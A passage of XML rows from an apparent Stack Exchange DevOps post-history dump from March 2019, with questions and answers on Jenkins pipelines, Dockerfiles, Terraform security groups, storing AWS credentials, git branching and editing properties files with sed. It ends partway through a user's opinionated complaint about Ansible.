  <row Id="20968" PostHistoryTypeId="2" PostId="6591" RevisionGUID="755e45b1-d25c-4ab2-9ce4-9e7d54c123bb" CreationDate="2019-03-12T19:02:39.903" UserId="7646" Text="So I have a Jenkinsfile defining a build pipeline and then a Jenkins job (not pipeline) with a very simple deployment script for our Docker stacks.&#xD;&#xA;&#xD;&#xA;Seeing that Jenkinsfiles can become as complex and powerful as one's coding skills are (seeing that they can groovy fairly well), would I have everything in one Jenkinsfile or have multiple Jenkinsfiles?&#xD;&#xA;&#xD;&#xA;Consider this theoretical process:&#xD;&#xA;&#xD;&#xA;    Development&#xD;&#xA;    &gt; Build artefact &gt; Build Docker image&#xD;&#xA;    &gt; Deploy Docker container to testing &gt; tests &amp; QA&#xD;&#xA;    &gt; deploy to staging &gt; have client check it&#xD;&#xA;    &gt; deploy to production&#xD;&#xA;&#xD;&#xA;Would all of that go into one Jenkinsfile and run different steps of the pipeline according to user input like&#xD;&#xA;&#xD;&#xA;    &quot;which stages should be performed?&#xD;&#xA;    Please specify:&#xD;&#xA;    Build artefact,&#xD;&#xA;    build Docker Image, ...&quot;&#xD;&#xA;&#xD;&#xA;This would result in a complex Jenkinsfile but you'd only have one single file.&#xD;&#xA;&#xD;&#xA;Or should this process be split into multiple Jenkinsfiles with multiple Jenkins jobs/pipelines for each Jenkinsfile to do a part of the process?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20969" PostHistoryTypeId="1" PostId="6591" RevisionGUID="755e45b1-d25c-4ab2-9ce4-9e7d54c123bb" CreationDate="2019-03-12T19:02:39.903" UserId="7646" Text="One Jenkinsfile or multiple?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20970" PostHistoryTypeId="3" PostId="6591" RevisionGUID="755e45b1-d25c-4ab2-9ce4-9e7d54c123bb" CreationDate="2019-03-12T19:02:39.903" UserId="7646" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20972" PostHistoryTypeId="2" PostId="6592" RevisionGUID="e4e8d8f6-a6f4-4f83-9b1f-bfcb6447a8bb" CreationDate="2019-03-13T00:35:55.647" UserId="4115" Text="It really comes down to personal preference.&#xD;&#xA;&#xD;&#xA;One additional tool you might not be aware of are [shared libraries for Pipeline](https://jenkins.io/doc/book/pipeline/shared-libraries/).  These allow you to quickly write custom Pipeline steps or factor out common Pipeline code without writing a Jenkins plugin in Java.&#xD;&#xA;&#xD;&#xA;Between multiple Pipeline jobs and shared libraries, there are many ways to split up your job's code and there's no one right answer on how to do it.  One suggestion I have is to determine what steps in your process are &quot;atomic&quot; - that is, what are the smallest group of steps that you envision admins/ops/devs/etc. might need to run on their own?  Each &quot;atomic unit&quot; should then become its own job.&#xD;&#xA;&#xD;&#xA;For instance, let's say you're automating a deploy process, and your process in a general sense looks like this:&#xD;&#xA;&#xD;&#xA;  * build&#xD;&#xA;  * deploy to dev&#xD;&#xA;  * deploy to prod&#xD;&#xA;&#xD;&#xA;Then I would create three jobs, one for each bullet point.  This gives you some nice advantages:&#xD;&#xA;&#xD;&#xA;* You can re-run each job individually in case something fails instead of having to restart the entire process over from the very beginning.  Deploy to prod failed?  You only need to re-run the deploy to prod job.  You don't need to rebuild or re-deploy to dev.&#xD;&#xA;&#xD;&#xA;* Each stage in the process is separated out so you can see how often it succeeds or fail.  Some stages in your process may be more robust or fragile than others; this kind of separation gives you insight into that.&#xD;&#xA;&#xD;&#xA;* This level of abstraction makes it easy for non-ops people to perform ops tasks (if that is something you want/need at your org).  When everything is monolithic, the only thing non-ops people can do is run the entire process from the beginning.  When everything is split up into tiny jobs, you need intimate ops knowledge to know which pieces to run in what order.  By separating your jobs into independent, easy-to-understand, appropriately bite-size chunks, a non-ops person only needs to press a single button to kick off an automated ops process." ContentLicense="CC BY-SA 4.0" />
  <row Id="20973" PostHistoryTypeId="5" PostId="6562" RevisionGUID="dfeca93e-73c1-4a5e-b6c8-9fe0e8e9928c" CreationDate="2019-03-13T09:09:40.073" UserId="12103" Comment="editing some typos " Text="In my opinion since the DevOps culture is derived from, or you could say appeared because of, the Agile software development methods&#xD;&#xA; &#xD;&#xA;- I would ask if the company is following any agile software methods or else you would be just the release guy &#xD;&#xA;&#xD;&#xA;- Also I would ask how I will be working as part of the dev team like I will be assigned to one project team or I will be working with all the teams &#xD;&#xA;&#xD;&#xA;- Also it would be great to know the current situation like they are currently facing urgent problem and need fix now , what's their current stack , and also ask about their current workflows in git and in development and try to find a way to solve the issue to make everything go smoothly  &#xD;&#xA; &#xD;&#xA;- Also what really appears on paper is the workflows like git workflows, how often you release cause automating parts like delivery, and integrations,......etc really means less time and better quality and that will appears on paper even for the business guys &#xD;&#xA;&#xD;&#xA;But at the end if the day every company is different than any other and every situation is different than the other so it's all back to your judgement to be comfortable in your daily job." ContentLicense="CC BY-SA 4.0" />
  <row Id="20977" PostHistoryTypeId="2" PostId="6594" RevisionGUID="cb08794c-3b9a-40cc-bbee-c1743c575fb3" CreationDate="2019-03-13T11:30:57.850" UserId="210" Text="One could also use the [golang-bitbucket-cloud-build-status-notifier][1] as a replacement. This plugin send the commit to the right repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/golang-bitbucket-cloud-build-status-notifier" ContentLicense="CC BY-SA 4.0" />
  <row Id="20978" PostHistoryTypeId="2" PostId="6595" RevisionGUID="e15f1efa-3033-43da-b650-ba52d613b8c3" CreationDate="2019-03-13T11:40:27.590" UserId="210" Text="As I was not able to tackle the bug in the Java code and the bug was already reported in 2017 I decided to write [this plugin][1]. This binary is able to send a build status even when a branch is built for the first time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/golang-bitbucket-cloud-build-status-notifier" ContentLicense="CC BY-SA 4.0" />
  <row Id="20980" PostHistoryTypeId="50" PostId="5115" RevisionGUID="92a0c25a-c626-4099-b007-575e8b48b8ad" CreationDate="2019-03-13T18:00:08.420" UserId="-1" />
  <row Id="20981" PostHistoryTypeId="2" PostId="6596" RevisionGUID="bc014182-6b24-4695-925f-d207fb271af9" CreationDate="2019-03-13T22:44:36.377" UserId="12885" Text="Check to see if the home directory for Jenkins was created?&#xA;&#xA;`/home/jenkins`&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20982" PostHistoryTypeId="2" PostId="6597" RevisionGUID="e412bc12-10f2-4b23-b33f-b4bda151134c" CreationDate="2019-03-13T22:54:51.930" UserId="12885" Text="    node {&#xA;    checkout scm &#xA;    app = docker.build(&quot;test-image&quot;,&quot;-f path/to/dockerfile .&quot;)&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="20983" PostHistoryTypeId="2" PostId="6598" RevisionGUID="48a359ad-6d02-4b34-8e9e-588f6d64ef9e" CreationDate="2019-03-14T00:26:03.140" UserId="6282" Text="Assuming this is a production `Dockerfile`, the boilerplate configuration for a Nodejs type of application would look like this:&#xD;&#xA;&#xD;&#xA;    FROM node:alpine as builder&#xD;&#xA;    WORKDIR '/app'&#xD;&#xA;    COPY package*.json ./&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY . .&#xD;&#xA;    RUN npm run build&#xD;&#xA;&#xD;&#xA;or like this:&#xD;&#xA;&#xD;&#xA;    FROM node:alpine&#xD;&#xA;    WORKDIR &quot;/app&quot;&#xD;&#xA;    COPY ./package.json ./&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY . .&#xD;&#xA;    CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;and if you involve Nginx, you may additionally have a couple of lines that would look something like this:&#xD;&#xA;&#xD;&#xA;    FROM nginx&#xD;&#xA;    EXPOSE 80&#xD;&#xA;    COPY --from=builder /app/build /usr/share/nginx/html&#xD;&#xA;&#xD;&#xA;So now you have a couple of answers with a few variations of how you could write out the production ready `Dockerfile`." ContentLicense="CC BY-SA 4.0" />
  <row Id="20984" PostHistoryTypeId="2" PostId="6599" RevisionGUID="97a90e83-8ed1-4697-8ccd-1b76b08e143d" CreationDate="2019-03-14T03:32:02.323" UserId="9754" Text="Is there a way I can associate existing security group to RDS that is going to be created or the only way is to recreate the security group so it can be added to the state file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20985" PostHistoryTypeId="1" PostId="6599" RevisionGUID="97a90e83-8ed1-4697-8ccd-1b76b08e143d" CreationDate="2019-03-14T03:32:02.323" UserId="9754" Text="Terraform - referencing existing security group" ContentLicense="CC BY-SA 4.0" />
  <row Id="20986" PostHistoryTypeId="3" PostId="6599" RevisionGUID="97a90e83-8ed1-4697-8ccd-1b76b08e143d" CreationDate="2019-03-14T03:32:02.323" UserId="9754" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20987" PostHistoryTypeId="2" PostId="6600" RevisionGUID="93084919-d01e-41ab-ae2a-09eb30714cea" CreationDate="2019-03-14T04:22:52.033" UserId="9754" Text="I didn't use list square brackets, the functionality is there as documented, just list brackets and group id.&#xD;&#xA;e.g.:&#xD;&#xA;vpc_security_group_ids          = [ &quot;sg-dfe8e2bf&quot; ]" ContentLicense="CC BY-SA 4.0" />
  <row Id="20991" PostHistoryTypeId="5" PostId="6584" RevisionGUID="26b7f56a-8c93-468f-b6ea-af265b8da70e" CreationDate="2019-03-14T05:28:12.927" UserId="6806" Comment="corrected ambiguity with republish" Text="Some old builds are failed in my jenkins job and I need to re-run them again. How to do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20992" PostHistoryTypeId="4" PostId="6584" RevisionGUID="26b7f56a-8c93-468f-b6ea-af265b8da70e" CreationDate="2019-03-14T05:28:12.927" UserId="6806" Comment="corrected ambiguity with republish" Text="In jenkins, how to re-run old builds of a job?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20993" PostHistoryTypeId="24" PostId="6584" RevisionGUID="26b7f56a-8c93-468f-b6ea-af265b8da70e" CreationDate="2019-03-14T05:28:12.927" Comment="Proposed by 6806 approved by 40, 46 edit id of 956" ContentLicense="CC BY-SA 4.0" />
  <row Id="20994" PostHistoryTypeId="2" PostId="6602" RevisionGUID="36542ee0-bac3-44fb-ad38-5f96e97059b3" CreationDate="2019-03-14T08:03:56.540" UserId="12831" Text="You can separate the steps, especially as it would let you do divide the work among different agents. You can also leave them in a single agent if you wish. &#xA;&#xA;The primary advantage I see is leveraging different pools for different sets of work.&#xA;&#xA;With releases last I checked variable scope was limited (as of 2018) to the &quot;phase&quot;. &#xA;&#xA;I wouldn't necessarily worry about performance due to connections unless you've observed this issue and have more specific detail you can add.&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20996" PostHistoryTypeId="2" PostId="6603" RevisionGUID="f000bd48-45b8-485b-82f4-dc6c3245dfc2" CreationDate="2019-03-14T10:14:45.720" UserId="12833" Text="You can retrieve security group from [data source][1]&#xD;&#xA;&#xD;&#xA;    variable &quot;security_group_id&quot; {}&#xD;&#xA;&#xD;&#xA;    data &quot;aws_security_group&quot; &quot;selected&quot; {&#xD;&#xA;      id = &quot;${var.security_group_id}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/d/security_group.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="20998" PostHistoryTypeId="2" PostId="6604" RevisionGUID="b3adbe02-478c-4f57-8ad6-49c59a526811" CreationDate="2019-03-14T15:37:06.243" UserId="12895" Text="I need to define a declarative pipeline with multiple levels of parallel stages as such:&#xD;&#xA;&#xD;&#xA;    1   Prebuild_action1&#xD;&#xA;    2   Prebuild_action2&#xD;&#xA;    3.1 Build platform_1&#xD;&#xA;    4.1   Test1 platform_1&#xD;&#xA;    4.2   Test2 platform_1&#xD;&#xA;    4.3   Test3 platform_1&#xD;&#xA;    3.2 Build platform_2&#xD;&#xA;    3.3 Build platform_3&#xD;&#xA;    3.4 Build platform_4&#xD;&#xA;&#xD;&#xA;First, 1 should run, then 2 should run, then all of 3.x should run in parallel and when 3.1 is done all 4.x should run in parallel.&#xD;&#xA;&#xD;&#xA;It doesn't seem possible for two reasons:&#xD;&#xA;1. There doesn't seem to be any way to have both a stage and a group of parallel stages within a parent stage and it seems that parallel blocks can only be defined at top-level stages so I can't have a parallel block for 3.x and 4.x.&#xD;&#xA;&#xD;&#xA;Is there some way to do that I am just not seeing at the moment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20999" PostHistoryTypeId="1" PostId="6604" RevisionGUID="b3adbe02-478c-4f57-8ad6-49c59a526811" CreationDate="2019-03-14T15:37:06.243" UserId="12895" Text="Multiple levels of parallel stages in a Jenkins declarative pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="21000" PostHistoryTypeId="3" PostId="6604" RevisionGUID="b3adbe02-478c-4f57-8ad6-49c59a526811" CreationDate="2019-03-14T15:37:06.243" UserId="12895" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21001" PostHistoryTypeId="2" PostId="6605" RevisionGUID="2880a9f3-c04a-4ce0-a1f9-2f6f0e50885a" CreationDate="2019-03-14T15:39:48.703" UserId="6282" Text="When creating a new user in AWS IAM, it generates access keys for that user. Where is a secure and readily accessible location to store these credentials?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21002" PostHistoryTypeId="1" PostId="6605" RevisionGUID="2880a9f3-c04a-4ce0-a1f9-2f6f0e50885a" CreationDate="2019-03-14T15:39:48.703" UserId="6282" Text="What is a secure way for storing AWS IAM credentials?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21003" PostHistoryTypeId="3" PostId="6605" RevisionGUID="2880a9f3-c04a-4ce0-a1f9-2f6f0e50885a" CreationDate="2019-03-14T15:39:48.703" UserId="6282" Text="&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21004" PostHistoryTypeId="2" PostId="6606" RevisionGUID="342084e5-d2f5-4204-8a16-df673350612f" CreationDate="2019-03-14T16:28:00.940" UserId="12103" Text="Well there are a lot of places to keep them secure &#xA;&#xA; &#xA; - you can use something like hashicorp vault to keep those kind of secrets &#xA; &#xA; - you can use something like lastpass and my personal favorite is enpass &#xA;&#xA;But first you need to define your needs so you can choose the right tool to use and integrate with your daily use " ContentLicense="CC BY-SA 4.0" />
  <row Id="21005" PostHistoryTypeId="5" PostId="6445" RevisionGUID="e0dbd231-bc47-465e-a874-645d35e9c7e3" CreationDate="2019-03-14T16:29:34.987" UserId="12577" Comment="fix typo" Text="I've read numerous articles on this going back to 2013, but what I wasn't able to ascertain is whether a reliable method has yet been devised for auditing processes inside a container. This question applies primarily to Linux, as I'm not very familiar with containerization on other platforms. &#xD;&#xA;&#xD;&#xA;The problem is essentially this: How to track operations such as Linux system calls back to the user who created the container? &#xD;&#xA;&#xD;&#xA;With Docker, that information is lost because the container is started by a daemon, and Docker doesn't have an authentication mechanism in place for identifying the user.&#xD;&#xA;&#xD;&#xA;Podman takes the approach of creating a container as a process fork, rather than using a client/daemon, which preserves the loginuid, but what about across a cluster. &#xD;&#xA;&#xD;&#xA;Kubernetes has auditing functionality, but I haven't been able to determine from the documentation whether that applies to processes running in containers, or only to K8s API calls. &#xD;&#xA;&#xD;&#xA;It's seems like it would be possible to do this by:&#xD;&#xA;&#xD;&#xA;1 - Require a user to authenticate when starting a container.&#xD;&#xA;&#xD;&#xA;2 - Send the user name when starting the container on each node.&#xD;&#xA;&#xD;&#xA;3 - Preserve the user ID in a process attribute. &#xD;&#xA;&#xD;&#xA;For `2`, to work, the user would have to be known to each host, and not just the container daemon.&#xD;&#xA;&#xD;&#xA;A trivial case of `3`, would be for the user in the container to have the same UID, and the authorization stage could enforce that. But that's pretty limiting.  &#xD;&#xA;&#xD;&#xA;Has anyone managed to address this successfully, or is it still an open issue? Either a global solution, or for a particular containerization technology/orchestrator. &#xD;&#xA;&#xD;&#xA;Here are some links regarding proposals for implementing this in the kernel:&#xD;&#xA;&#xD;&#xA;- https://lwn.net/Articles/740621/&#xD;&#xA;- https://lwn.net/Articles/699819/&#xD;&#xA;- https://www.redhat.com/archives/linux-audit/2018-January/msg00014.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="21006" PostHistoryTypeId="50" PostId="6344" RevisionGUID="843ef5ae-d7c5-4f3e-983a-78e73df5030b" CreationDate="2019-03-14T18:02:45.523" UserId="-1" />
  <row Id="21007" PostHistoryTypeId="2" PostId="6607" RevisionGUID="e8893540-6fe8-435e-b130-b4b4d3246cfc" CreationDate="2019-03-14T22:36:23.610" UserId="4115" Text="Sure it's possible to have nested parallel stages and it works just fine (I've done it before), but the visualization in the web UI is terrible, even with Blue Ocean.  There was even [an official blog post when this feature was added](https://jenkins.io/blog/2018/07/02/whats-new-declarative-piepline-13x-sequential-stages/).&#xD;&#xA;&#xD;&#xA;This question has already been asked a couple other times on this site as well, you might be interested in these questions and answers:&#xD;&#xA;&#xD;&#xA; * https://devops.stackexchange.com/questions/5240/jenkins-pipeline-nested-parallel&#xD;&#xA; * https://devops.stackexchange.com/questions/986/how-to-build-a-complex-parallel-jenkins-pipeline&#xD;&#xA;&#xD;&#xA;It's not entirely clear to me from the wording of your question if it's a duplicate of those questions or if there are significant differences, so I haven't flagged your question as a duplicate." ContentLicense="CC BY-SA 4.0" />
  <row Id="21011" PostHistoryTypeId="2" PostId="6609" RevisionGUID="f9df4e9e-2f32-4257-b6ec-18731715c7de" CreationDate="2019-03-15T00:19:06.720" UserId="6032" Text="You can use the *terraform import* command to import the security group so you can reference it as a created Terraform resource. &#xD;&#xA;&#xD;&#xA;https://www.terraform.io/docs/providers/aws/r/security_group.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="21016" PostHistoryTypeId="2" PostId="6611" RevisionGUID="5672f118-5810-4a60-ad07-8b4e1ecf81e9" CreationDate="2019-03-15T04:10:56.990" UserId="12903" Text="We have 2 branches (master/dev) + some feature branches and 2 environments (production/dev). Our team is a very small people. What are the best practices of merging dev to master? &#xD;&#xA;&#xD;&#xA; - Every morning?  &#xD;&#xA; - After integration tests?  &#xD;&#xA; - How about merging master with dev and then testing (hotfixes) then merging master to dev? &#xD;&#xA; - Some release branches?&#xD;&#xA;&#xD;&#xA;I don't want to create anything too complicated." ContentLicense="CC BY-SA 4.0" />
  <row Id="21017" PostHistoryTypeId="1" PostId="6611" RevisionGUID="5672f118-5810-4a60-ad07-8b4e1ecf81e9" CreationDate="2019-03-15T04:10:56.990" UserId="12903" Text="What are the best practices of merging dev to master?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21018" PostHistoryTypeId="3" PostId="6611" RevisionGUID="5672f118-5810-4a60-ad07-8b4e1ecf81e9" CreationDate="2019-03-15T04:10:56.990" UserId="12903" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21019" PostHistoryTypeId="2" PostId="6612" RevisionGUID="b7553137-8042-4c28-aa01-fdf4de65077b" CreationDate="2019-03-15T06:22:33.347" UserId="12833" Text="You can use &quot;[git flow][1]&quot; or more simple &quot;[gitlab flow][2]&quot;.&#xD;&#xA;&#xD;&#xA;Our small team merge into master on release or sprint ends.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://danielkummer.github.io/git-flow-cheatsheet/&#xD;&#xA;  [2]: https://about.gitlab.com/2014/09/29/gitlab-flow/" ContentLicense="CC BY-SA 4.0" />
  <row Id="21022" PostHistoryTypeId="50" PostId="6351" RevisionGUID="318896ba-0b8c-4185-b199-1bc38c6f88f9" CreationDate="2019-03-15T09:01:30.277" UserId="-1" />
  <row Id="21023" PostHistoryTypeId="2" PostId="6614" RevisionGUID="551718dc-c0b3-4b4c-beb4-03ec9f30f1ff" CreationDate="2019-03-15T09:30:20.657" UserId="12909" Text="Hie I am working around in git to achieve something like mentioned below.&#xD;&#xA;&#xD;&#xA;Imagine there is a Big feature which is going to develop - since it's very big they have split into core feature and an extended feature.&#xD;&#xA;&#xD;&#xA;Now they have divided into teams for development.&#xD;&#xA;&#xD;&#xA;Now how to make branches in a below-mentioned way&#xD;&#xA;&#xD;&#xA;the core will be developing in core_branch extended will be developing in extended_branch containing core development it should be like that when we perform git pull in extended_branch it has to pull if any commits made to core_branch how to achieve this??&#xD;&#xA;&#xD;&#xA;I am aware of git rebase / git merge. In either of the cases, extended team/developers have to check any new commits in the core branch and merge/rebase their extended_branch" ContentLicense="CC BY-SA 4.0" />
  <row Id="21024" PostHistoryTypeId="1" PostId="6614" RevisionGUID="551718dc-c0b3-4b4c-beb4-03ec9f30f1ff" CreationDate="2019-03-15T09:30:20.657" UserId="12909" Text="git - develop base and extended feature - commits in base should reflect in extended in pull" ContentLicense="CC BY-SA 4.0" />
  <row Id="21025" PostHistoryTypeId="3" PostId="6614" RevisionGUID="551718dc-c0b3-4b4c-beb4-03ec9f30f1ff" CreationDate="2019-03-15T09:30:20.657" UserId="12909" Text="&lt;git&gt;&lt;github&gt;&lt;software-engineering&gt;&lt;development-environment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21026" PostHistoryTypeId="2" PostId="6615" RevisionGUID="a84b36fc-c13f-4d3c-b314-2073fa519cec" CreationDate="2019-03-15T10:28:44.597" UserId="12911" Text="I have a properties file that looks like this:&#xD;&#xA;&#xD;&#xA;    mysql.username=USERNAME&#xD;&#xA;    mysql.pass=PASS&#xD;&#xA;&#xD;&#xA;I need to change `USERNAME` and `PASS` with variable values passed to shell script. I cannot use `sed` since that will work fine the first time to replace USERNAME and PASS with &quot;values&quot; but once they are replaced, sed will not find the variable names in the file the second time the script runs and thus an issue. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can this be handled? " ContentLicense="CC BY-SA 4.0" />
  <row Id="21027" PostHistoryTypeId="1" PostId="6615" RevisionGUID="a84b36fc-c13f-4d3c-b314-2073fa519cec" CreationDate="2019-03-15T10:28:44.597" UserId="12911" Text="shell script to pass values properties file in java" ContentLicense="CC BY-SA 4.0" />
  <row Id="21028" PostHistoryTypeId="3" PostId="6615" RevisionGUID="a84b36fc-c13f-4d3c-b314-2073fa519cec" CreationDate="2019-03-15T10:28:44.597" UserId="12911" Text="&lt;shell-script&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21029" PostHistoryTypeId="2" PostId="6616" RevisionGUID="c360da52-cc59-4702-a9a6-cf7256bc453c" CreationDate="2019-03-15T11:33:28.510" UserId="12893" Text="You can obtain old parameters from the properties file before using **sed**, e.g.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# get old parameters&#xD;&#xA;$ export oldUsername=$(grep mysql.username $FILE | cut -d'=' -f2)&#xD;&#xA;$ export oldPass=$(grep mysql.pass $FILE | cut -d'=' -f2)&#xD;&#xA;&#xD;&#xA;# set new parameters&#xD;&#xA;$ export newUsername=NEW_USERNAME&#xD;&#xA;$ export newPass=NEW_PASS&#xD;&#xA;&#xD;&#xA;# change parameters&#xD;&#xA;$ sed -i &quot;s/$oldUsername/$newUsername/g&quot; $FILE&#xD;&#xA;$ sed -i &quot;s/$oldPass/$newPass/g&quot; $FILE&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21030" PostHistoryTypeId="2" PostId="6617" RevisionGUID="e629d0f8-a321-4ab2-a010-be9975bfa025" CreationDate="2019-03-15T11:42:24.493" UserId="6308" Text="You can use below. &#xD;&#xA;&#xD;&#xA;    [user@xyz ~]$ hh='mysql.username=USERNAME';echo $hh | awk -F&quot;=&quot; '{OFS=FS}{ $2=&quot;Mango&quot;; print }'&#xD;&#xA;    mysql.username=Mango" ContentLicense="CC BY-SA 4.0" />
  <row Id="21031" PostHistoryTypeId="2" PostId="6618" RevisionGUID="27b17e12-eee1-4b53-a3c0-5a703fe582c2" CreationDate="2019-03-15T12:46:41.677" UserId="2453" Text="Is it possible to pull images from the same `GCR` from multiple `GCP` projects without making the registry public?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want to do this so I do not have to upload multiple times the same image to multiple registries so it can be used on different projects." ContentLicense="CC BY-SA 4.0" />
  <row Id="21032" PostHistoryTypeId="1" PostId="6618" RevisionGUID="27b17e12-eee1-4b53-a3c0-5a703fe582c2" CreationDate="2019-03-15T12:46:41.677" UserId="2453" Text="Google Cloud Registry and multiple projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="21033" PostHistoryTypeId="3" PostId="6618" RevisionGUID="27b17e12-eee1-4b53-a3c0-5a703fe582c2" CreationDate="2019-03-15T12:46:41.677" UserId="2453" Text="&lt;docker&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21034" PostHistoryTypeId="2" PostId="6619" RevisionGUID="5a6e88c4-b852-417a-99bd-1e09f9598719" CreationDate="2019-03-15T14:10:08.103" UserId="739" Text="You should regenerate this file from a template using your configuration management system of choice.&#xD;&#xA;&#xD;&#xA;You could also write a shell script that uses a [heredoc](http://tldp.org/LDP/abs/html/here-docs.html) to do the same thing.  But since we're in DevOps-land you really should be using your configuration management system for these things." ContentLicense="CC BY-SA 4.0" />
  <row Id="21035" PostHistoryTypeId="52" PostId="6615" RevisionGUID="d35b370a-ddbc-46c4-afa3-bf71b8a1a5c5" CreationDate="2019-03-15T14:21:46.967" />
  <row Id="21039" PostHistoryTypeId="2" PostId="6621" RevisionGUID="c585bf00-d0b4-458f-8e1e-f5d61b974cbf" CreationDate="2019-03-15T15:04:29.143" UserId="7385" Text="Having been down a similar road, here are my suggestions:&#xD;&#xA;&#xD;&#xA;Break your tasks apart by function; build is different to deploy, which is different to release. You can get more granular, but let's stick to the basics for now...&#xD;&#xA;&#xD;&#xA;Secondly, if you want to consider who is permitted to do certain actions, you might break these functions apart by team (dev, test, release).&#xD;&#xA;&#xD;&#xA;**Build pipeline:**&#xD;&#xA;&#xD;&#xA; - This is probably your dev team.  &#xD;&#xA; - A single job to check out sources, compile and package.&#xD;&#xA; - Perhaps run unit tests against this package&#xD;&#xA; - Perhaps send the code to SonarQube for analysis&#xD;&#xA; - If successful, publish this build artifact somewhere, like Artifactory/Nexus&#xD;&#xA; - I automatically run this job whenever someone pushes to the repo&#xD;&#xA; - Additionally, I have some rules which limits behaviour based on the branch (I don't really want to publish builds for every single feature branch, but always for release branches)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Deploy pipeline:**&#xD;&#xA;&#xD;&#xA; - This job should be be generic, and accept parameters that gives it context&#xD;&#xA; - Are we deploying to a dev server? Or to Test/Pre-rel/Live?&#xD;&#xA; - Create a deploy-dev job, and a deploy-prod job. Both use the same Jenkinsfile&#xD;&#xA; - Who has permission to perform this action?&#xD;&#xA; - What are we deploying? This is a dropdown of artifacts available in Artifactory.&#xD;&#xA; - I use JobDSL to generate multiple jobs that use the same pipeline. One for dev/test/pre/live. You could manually create these jobs at first with appropriate deploy targets/users&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The above lets me write highly targeted and specific pipelines, yet gives the teams the flexibility they need for day to day stuff.  Dev and Test are self-service.  Only the release team has access to deploy to pre-rel/live.&#xD;&#xA;&#xD;&#xA;**Other pipelines:**&#xD;&#xA;&#xD;&#xA; - Once that's working, you'll probably look at jobs that can bounce servers (self-service for teams) and promote builds from snapshot/staging/RC repos to gold repos in Nexus/Artifactory, etc.&#xD;&#xA; - Are you using git-flow? How about jobs to create/finish release/feature branches, bump maven versions, tidy up stale branches, perform integration builds, etc.  All good fun.&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21040" PostHistoryTypeId="50" PostId="6062" RevisionGUID="4b5ce67b-b57b-4ab6-8887-c1e129518003" CreationDate="2019-03-15T16:01:05.213" UserId="-1" />
  <row Id="21043" PostHistoryTypeId="2" PostId="6622" RevisionGUID="db1952a9-3701-4466-b20a-c41aac4d80d1" CreationDate="2019-03-16T01:08:11.627" UserId="7772" Text="There are many theories about git branching models. You know about &quot;git flow&quot; https://nvie.com/posts/a-successful-git-branching-model/&#xD;&#xA;&#xD;&#xA;But in practice that will slow you down in most cases. Remember Amdahl's law - put the effort where the usage is. At my workplace we only branch when making a merge request. This way we won't have to work for days with sham work like &quot;merge to master&quot; which will create impediments just because somebody was branching for the sake of branching. That works for us.&#xD;&#xA;&#xD;&#xA;So I suggest that you commit to master and only branch when making a merge request. This is almost controversial in some cases, but I am all open for discussion. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21044" PostHistoryTypeId="2" PostId="6623" RevisionGUID="e728d009-9ed5-41a2-b0db-6642921cda8c" CreationDate="2019-03-16T01:49:25.313" UserId="2618" Text="It's 2019 and I've just spent a few days on an ansible learning curve and here is the absolute truth: &#xA;Ansible isn't worth the trouble.&#xA;&#xA;it's not finished, it doesn't run on windows and the combination of YAML config and misleading error messages will make your eyes bleed. It seems almost deliberately terrible and I mean that seriously. It's clearly the product of a redhat sysadmins frustrated developer side project. Probably a hipster.&#xA;&#xA;If you don't require any.of its features beyond provisioning, and you are only ever provisioning on one particular OS. For pities sake write a decent shell.script.&#xA;&#xA;As of right now, the whole project reminds me of early linux forums where noobs were told to RTFM and derided for asking why someone couldn't write a GUI for configuring graphics settings.&#xA;You just don't get it do you? You should stick to windows... perhaps I will mate.. happy VI-ing.&#xA;&#xA;Use Docker. In preference to anything. Docker is outrageously simple and powerful.&#xA;&#xA;But what if you absolutely must provision on pre-existing tin?&#xA;What are the real alternatives?&#xA;&#xA;Well... there aren't any, yet.&#xA;But  I will promise you this, unless ansible gets better, there will be soon. Because no matter how hard the fanboys push it, and forgive it's failings... it's a 5 out of 10 for 